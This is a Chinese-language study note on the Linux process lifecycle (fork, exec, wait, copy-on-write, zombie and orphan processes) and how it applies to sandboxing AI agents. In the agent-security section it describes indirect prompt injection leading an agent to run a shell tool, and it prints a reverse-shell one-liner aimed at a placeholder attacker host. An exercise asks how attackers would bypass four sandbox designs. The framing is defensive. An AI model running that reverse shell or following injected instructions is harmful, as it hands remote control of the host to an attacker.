Day 02 · 进程深入:生命周期与状态机

Week 01 · 周二 · 2026-05-14 · 主线:操作系统核心 · 预计 1.5h 阅读 + 30min 实操
今日导读:昨天我们建立了「进程 = 地址空间 + 资源 + PCB」这个静态视图。今天我们让它动起来——一个进程是怎么诞生、活着、死去、被收尸的。你会理解:为什么 Linux 上创建一个新进程要先 fork 再 exec(看似多此一举);为什么 Python 的 subprocess.Popen 用完不 wait 会留下「僵尸」;为什么 init/systemd 是整个系统的「孤儿院院长」;以及 ps 输出里那个 STAT 列的字母 D 为什么是「最难处理的进程」。这些不是抽象知识——是你后面排查 LLM 服务卡死、设计 Agent 沙箱时反复要用到的工具。
今日目录
  1. task_struct:进程在内核里长什么样
  2. 进程状态机:R / S / D / T / Z 五个字母的全部秘密
  3. fork:复制一个完整的进程
  4. 写时复制 COW:为什么 fork 不慢
  5. exec:把当前进程「变身」
  6. wait / waitpid:回收子进程
  7. 僵尸进程与孤儿进程
  8. 进程组与会话(简介)
  9. 与 AI / Agent 安全的连结
  10. 今日小练习

1. task_struct:进程在内核里长什么样

昨天提了一句,每个进程在 Linux 内核里都对应一个叫 task_struct 的 C 结构体。今天我们认真看一眼这个东西,因为之后所有讨论都围绕它。

定义在 include/linux/sched.h,整个结构体 ~3000 行、200+ 字段,但你不需要全记,只需要理解 5 组关键字段

struct task_struct {
    /* ── 组 A:身份标识 ── */
    pid_t            pid;            // 进程/线程 ID(每个 task 唯一)
    pid_t            tgid;           // 线程组 ID(同进程的所有线程共享)
    struct task_struct *real_parent; // 真实父进程指针
    struct task_struct *parent;      // 当前父进程(可能被 ptrace 改)
    struct list_head children;       // 子进程链表
    struct list_head sibling;        // 同父进程下兄弟链表

    /* ── 组 B:当前状态 ── */
    long             state;          // R / S / D / T / Z(下一节详谈)
    int              exit_state;     // 退出时的状态
    int              exit_code;      // 退出码(main 返回值)
    int              exit_signal;    // 被什么信号杀死的

    /* ── 组 C:资源持有 ── */
    struct mm_struct      *mm;       // 地址空间(页表、各段位置)
    struct files_struct   *files;    // 打开的文件描述符表
    struct signal_struct  *signal;   // 信号处理函数表
    struct fs_struct      *fs;       // 工作目录、umask

    /* ── 组 D:身份与权限 ── */
    const struct cred *cred;         // UID/GID/capabilities

    /* ── 组 E:调度与时间 ── */
    unsigned int     policy;         // SCHED_NORMAL / FIFO / RR
    int              prio, static_prio, normal_prio;
    struct sched_entity se;          // CFS 调度实体(含 vruntime)
    u64              utime, stime;   // 在用户态/内核态累计的 CPU 时间

    /* … 还有 namespace、cgroup、ptrace、性能计数器等等 100+ 字段 */
};

记几个对今天有用的细节:

所有这些字段加起来,平均一个进程的 task_struct 大约占 10-20 KB 内核内存。你机器上跑 500 个进程,内核就为此用掉 5-10 MB——这是"进程"的固定成本,也是为什么"轻量线程""协程"在高并发场景下被青睐。

2. 进程状态机:R / S / D / T / Z 五个字母的全部秘密

进程不是一直在跑的。它在生命周期里在几个状态间反复切换。当你 ps aux 看到 STAT 列(mac 上也叫 STAT),那个字母就是当前状态。

┌──────────────────┐ fork│ TASK_NEW (创建中) │ └────────┬─────────┘ │ ▼ ┌──────────────────┐ 调度器选中 ┌──────────────────┐ │ R: RUNNING │ ◄──────────► │ R: RUNNABLE │ │ (正在 CPU 上跑) │ 时间片到/抢占│ (在 runqueue 里等)│ └────────┬─────────┘ └──────────────────┘ │ 等 I/O / 信号 │ ▼ ┌──────────────────┐ 等到了 ┌──────────────────┐ │ S: 可中断睡眠 │ ──────────► │ R: RUNNABLE │ │(等网络/sleep) │ └──────────────────┘ └──────────────────┘ ┌──────────────────┐ │ D: 不可中断睡眠 │ ← 等磁盘 IO 等不能被打断的事 │(kill -9 都没用)│ └──────────────────┘ ┌──────────────────┐ │ T: 被停止 │ ← Ctrl-Z 或 SIGSTOP └──────────────────┘ ┌──────────────────┐ │ Z: 僵尸 zombie │ ← 已经死了,但父进程还没回收 └──────────────────┘
字母名字含义什么时候会看到
RRunning / Runnable正在 CPU 上执行,或者在 runqueue 里等 CPUCPU 密集型任务运行时;一切活跃进程
SSleeping(可中断)在等某个事件(网络数据、定时器、IO),可以被信号唤醒绝大多数空闲进程都是 S,比如你的 shell 等你敲键盘
DUninterruptible sleep在等不能被打断的内核操作(绝大多数是磁盘 IO 或者 NFS)。连 SIGKILL 都杀不动磁盘满了、磁盘损坏、NFS 卡死、某些设备驱动 bug
TStopped被 SIGSTOP 信号或者 Ctrl-Z 暂停你按 Ctrl-Z 把前台进程挂起;调试器附着时
ZZombie已经 exit 了,但父进程没调 wait 回收,task_struct 还赖在内核里父进程写得不规范、Python 用 multiprocessing 后忘 join
D 状态特别重要。它是排查线上故障最常见的恐怖状态。一个 D 进程意味着:内核在为它做某个原子操作(往往是 IO),这个操作不能被打断;如果底层硬件挂了(比如磁盘 controller 失联、NFS 服务端 down 了),这个 D 状态可能持续到天荒地老。这种进程你不能 kill,唯一的办法是修复底层硬件或者重启机器。当你看到一台机器 load average 飙到几百但 CPU 闲着,八成是一堆进程卡在 D。

3. fork:复制一个完整的进程

Linux 创建新进程不是「凭空造一个」,而是「复制一个现成的」。这就是 fork() 系统调用。它的语义非常特别:

#include <unistd.h>
pid_t fork(void);

调用 fork() 一次,返回两次——一次在父进程里返回(值是新创建的子进程 PID),一次在子进程里返回(值是 0)。第一次见这个 API 几乎所有人都会楞住。Python 里大概是这样:

import os

pid = os.fork()       # ← 这一行神奇地"分裂"了

if pid == 0:
    # 这段代码在子进程里执行
    print(f"我是子进程,PID={os.getpid()},我妈是 {os.getppid()}")
    os._exit(0)
else:
    # 这段代码在父进程里执行
    print(f"我是父进程,PID={os.getpid()},我刚生了个孩子 PID={pid}")
    os.waitpid(pid, 0)  # 等子进程死透

fork 后的子进程是父进程的近乎完美的克隆

父子的差异只有几个:PID 不同、ppid 不同、fork 返回值不同、CPU 时间累积清零。

为什么 Linux 设计成 fork + exec 两步走

表面看这很奇怪——既然要起一个新程序,为什么不直接「创建+加载」一步到位(像 Windows 的 CreateProcess)?答案是灵活性。fork 完之后、exec 之前,你有一个珍贵的窗口:子进程已经是一个独立 task,但还没变成目标程序。你可以在这个窗口里:

所有这些「准备工作」做完,再 exec 真正的目标程序——目标程序生来就在受限环境里。这就是 Docker、K8s、systemd 创建容器/服务的标准模式。如果是一步到位的 CreateProcess,你就没机会做这些事。

4. 写时复制 COW:为什么 fork 不慢

读到这里你应该有个疑问:fork 要复制整个地址空间,一个 10GB 内存的进程 fork 一下不就要复制 10GB 吗?那 fork 不就慢死了?

答案是 Copy-On-Write(写时复制,COW)。Linux 不真的复制内存,它只复制页表,然后把所有页都标成「只读」。父子两个进程指向同一份物理内存

fork 之前: 父进程虚拟地址 ─► [页表] ─► 物理内存页 (rw) fork 之后(瞬间完成,几乎不耗时间): 父进程虚拟地址 ─► [页表 P] ─┐ ├──► 同一份物理内存页 (现在标成 ro) 子进程虚拟地址 ─► [页表 C] ─┘ 任一方写入时,CPU 触发 page fault: ① 内核分配一个新物理页 ② 把旧页内容拷贝到新页 ③ 改写发起方的页表,指向新页(恢复 rw) ④ 重试那条写指令 ⑤ 两边从此分道扬镳

这个机制的妙处是:

  1. fork 本身 O(进程页表大小),跟实际内存使用量基本无关。一个 10GB 进程 fork 跟一个 10MB 进程 fork 一样快(~微秒级)。
  2. 如果 fork 后立即 exec,根本不会触发任何复制——exec 会丢弃旧地址空间装载新程序,浪费的页全部回收。这就是 fork+exec 模式高效的根本原因。
  3. 父子如果都是只读访问(比如读同一份模型权重),物理内存只有一份。这就是为什么 vLLM、DataLoader 用 fork 起 worker 比 spawn 省内存——子进程能"白嫖"父进程已经加载的模型权重,直到它们写入才会真正复制。
但 COW 有一个 LLM 工程师必须知道的坑:Python 的引用计数会"破坏"COW。CPython 给每个对象都维护一个 refcount,访问对象(哪怕只是读)也会改 refcount——这是一次写操作。所以 Python 子进程"读"父进程加载的大对象(比如 numpy 数组、torch tensor),会触发整页 COW,内存优势被吃掉。这就是 PyTorch DataLoader 默认用 fork 但你看监控会发现内存涨得飞快的原因。

5. exec:把当前进程「变身」

exec 是一个系统调用家族(execve、execvp、execl 等,glibc 提供的方便变体),核心是 execve()

int execve(const char *path,           // 可执行文件路径
           char *const argv[],         // 命令行参数
           char *const envp[]);        // 环境变量

它做的事简单粗暴:用一个新程序替换掉当前进程的所有代码和数据。具体来说:

  1. 检查可执行文件的权限、ELF 头合法性
  2. 检查 setuid / setgid 位,必要时切换权限
  3. 丢弃当前进程的整个地址空间(mm_struct 整个重建)
  4. 把新可执行文件的 text/data 段 mmap 到新地址空间
  5. 把命令行参数和环境变量复制到新栈顶
  6. 把 PC 设到新程序的 entry point(动态链接器 ld-linux.so
  7. 从那里开始执行

注意 execve 成功就不返回——返回到哪里去呢?原来的代码已经被覆盖了。只有失败(比如文件不存在)才会返回 -1。

什么东西在 exec 之后保留?task_struct 自己(pid、ppid、children 关系)、已打开的文件描述符(除非设了 O_CLOEXEC)、信号 mask、cgroup/namespace 归属、资源限制 rlimit。什么东西被清掉:地址空间、信号处理函数(除了忽略的 SIG_IGN)、内存锁。

6. wait / waitpid:回收子进程

父进程通过 wait 家族系统调用「等待」子进程结束并回收其残余资源:

pid_t wait(int *status);                        // 等任意一个子进程
pid_t waitpid(pid_t pid, int *status, int options); // 等指定子进程,可非阻塞
int waitid(idtype_t, id_t, siginfo_t*, int);    // 更通用的版本

关键点:

# Python 里典型用法
import subprocess

p = subprocess.Popen(['sleep', '1'])
return_code = p.wait()      # 阻塞直到子进程结束,自动 reap

# 或者非阻塞轮询
while p.poll() is None:     # poll() 内部用 waitpid + WNOHANG
    print("还在跑...")
    time.sleep(0.1)

7. 僵尸进程与孤儿进程

僵尸(Zombie)

子进程 exit 之后到父进程 wait 之前的这段时间,子进程的状态是 Z。它"已经死了,但还没下葬":

正常情况僵尸状态非常短,父进程一 wait 就消失。但如果父进程写得不规范——比如开了很多子进程从不 wait——僵尸就会堆积。一旦堆到系统 PID 上限(/proc/sys/kernel/pid_max,通常 32768),系统就再也 fork 不出新进程,整个机器瘫痪

# 查系统现存僵尸
ps aux | awk '$8 ~ /Z/ { print }'

# 或者
ps -eo pid,ppid,state,comm | grep ' Z '

孤儿(Orphan)

如果父进程先于子进程死掉(不管是正常退出还是被 kill),子进程就成了「孤儿」。孤儿不会立刻死,但它没爸了,谁来 wait 它?

Linux 的答案:所有孤儿被自动过继给 PID=1 的 init 进程(现代发行版上是 systemd)。init 的设计职责之一就是「永远在循环 wait()」,所以孤儿一旦 exit 立刻被收尸,不会变成僵尸。

正常情况: init (PID=1) ───── shell ───── python (你) ───── 子进程 │ exit 后 ▼ shell 调 wait 回收 ✓ 父进程先死: init (PID=1) ───── shell ──×── python (你) ───── 子进程 │ ↓ 父进程没了,孤儿过继给 init │ init (PID=1) ──────────────────────────────────── 子进程 │ exit 后 ▼ init 调 wait 回收 ✓

这个机制非常重要——它保证系统永远不会因为孤儿堆积而垮掉。但有个陷阱:

容器场景里的 PID 1 问题。容器里你的应用通常以 PID=1 启动(容器的 PID namespace 从 1 开始)。但你的 Python 应用不是 init——它不会自动循环 wait()。如果你的 Python 起了子进程然后子进程死了,那些僵尸就堆在你 Python 进程下,没人收。这就是为什么容器圈推荐用 tinidumb-init 之类的"mini init"作为 PID 1:它把你的实际程序 fork 出来当孩子,自己负责收尸。

8. 进程组与会话(简介)

这部分日常用不上,但你做信号处理、终端交互时会撞到,先建立概念,将来需要再深挖:

想跑实验?在 mac 终端跑 ps -j,看 PGID 和 SID 两列,它们就分别是进程组和会话 ID。

🔗 与 AI / Agent 安全的连结

1. Agent 沙箱的标准实现模式。当 LLM Agent 要执行用户/模型生成的代码(code interpreter、tool execution),生产级实现都遵循同一个模板:parent fork() → child 在 fork 后立刻 setrlimit(限制 CPU 时间、内存、fd 数、子进程数)→ unshare 切到独立 namespace → cgroups 加资源墙 → 装 seccomp filter 屏蔽危险 syscall → setuid 降权到 nobody → execve 装载实际代码 → parent 用 waitpid(WNOHANG + timeout) 监控。任何一步省略都会留下逃逸窗口。你今天学的 fork/exec/wait 就是这整套机制的骨架。

2. 排查 LLM 服务"卡死"的第一招就是看 STAT。线上经常遇到「vLLM 进程在跑但请求全部 timeout」。第一步 ps -eo pid,state,wchan,cmd | grep vllm:如果是 R 但延迟高,CPU/GPU 瓶颈;如果是 S 在 socket 上等,是网络问题;如果是 D,几乎肯定是磁盘 IO 出问题——通常是模型权重所在 NFS 抖动或者 SSD 写满了。今天 D 状态那段记忆要深。

3. 容器里的 PID 1 问题正中 LLM 服务要害。Python LLM 服务(FastAPI / vLLM)经常起子进程(编译 CUDA kernel、调用外部工具)。如果直接 CMD ["python", "server.py"],Python 当 PID 1,子进程死了变僵尸,运行几天后 fork 失败、整服务挂掉。正确做法是 ENTRYPOINT ["tini", "--"]——这是个不显眼但能救命的细节,背景就是今天讲的"孤儿过继给 init"机制。

4. fork 是 prompt injection 攻击者的最爱终点。攻击者通过 indirect prompt injection 让 Agent 调到某个 shell 类 tool,下一步几乎一定是 fork + exec 起一个反弹 shell(sh -i >& /dev/tcp/attacker/4444 0>&1)。检测层的关键就是在 execve 这个 syscall 上设关卡——任何 LLM 触发的 execve 都打日志 + 审查路径和参数。这就是 Week 2 周六我们要讲的 eBPF + Falco 的最大用武之地。

5. Python multiprocessing 的 fork vs spawn 取舍multiprocessing.set_start_method('fork') 走今天讲的 fork 路径,子进程白嫖父进程已加载的模型;'spawn' 走 fork+exec,子进程从零启动 Python 解释器、重新 import 一切,慢一两秒但更干净(避免 fork 后的状态污染、CUDA context 在 fork 后不可用的问题)。在 GPU 场景下基本必须用 spawn——这是个反复有人踩坑的经典问题,根源就在今天的 fork 语义。

📝 今日小练习

110 分钟 · 制造一个僵尸

在你的 mac 终端跑下面这段 Python,然后另开一个终端用 ps 观察:

# zombie_demo.py
import os, time

pid = os.fork()
if pid == 0:
    # 子进程:立刻退出
    print(f"child {os.getpid()} exiting")
    os._exit(0)
else:
    # 父进程:故意不 wait,睡 60 秒
    print(f"parent {os.getpid()} sleeping, child pid = {pid}")
    time.sleep(60)
    # (正常的代码应该在这里调 os.waitpid(pid, 0))

跑起来后,另开终端:

ps -p <子进程PID> -o pid,ppid,state,command
# 你应该看到 state = Z(mac 上可能显示为 ?Z)

问题:在父进程睡眠期间这个僵尸一直存在;等父进程睡完退出,僵尸消失了——为什么?提示:回顾「孤儿过继给 init,init 立刻收尸」。

215 分钟 · 看一次 fork+exec 的完整 syscall

Linux 机器上跑(mac 上可以用 dtruss 替代):

strace -f -e trace=clone,execve,wait4,exit,exit_group bash -c 'ls /tmp > /dev/null'

你会看到 bash 先 clone(即 fork),子进程 execve("/usr/bin/ls", …),bash 这边 wait4,子进程跑完 exit_group,bash 的 wait4 返回。

问题:这个序列里哪一步最贵(耗时最多)?为什么 bash 不直接 execve 而要先 clone?

35 分钟 · 思考题(Agent 安全场景)

你设计一个 LLM Agent 执行 Python tool 的沙箱。下面四种实现方案,从最不安全到最安全排序:

  1. 在主进程里 exec(user_code)
  2. 启动一个独立 Python 子进程(subprocess.Popen(['python', '-c', user_code])),不做额外限制
  3. 同 B,但 fork 后先 setrlimit 限制 CPU 时间 + 内存,再 exec
  4. 同 C,但 fork 后还 unshare 切独立 namespace + 装 seccomp filter,再 exec

对每种方案,说明攻击者要绕过它需要做什么。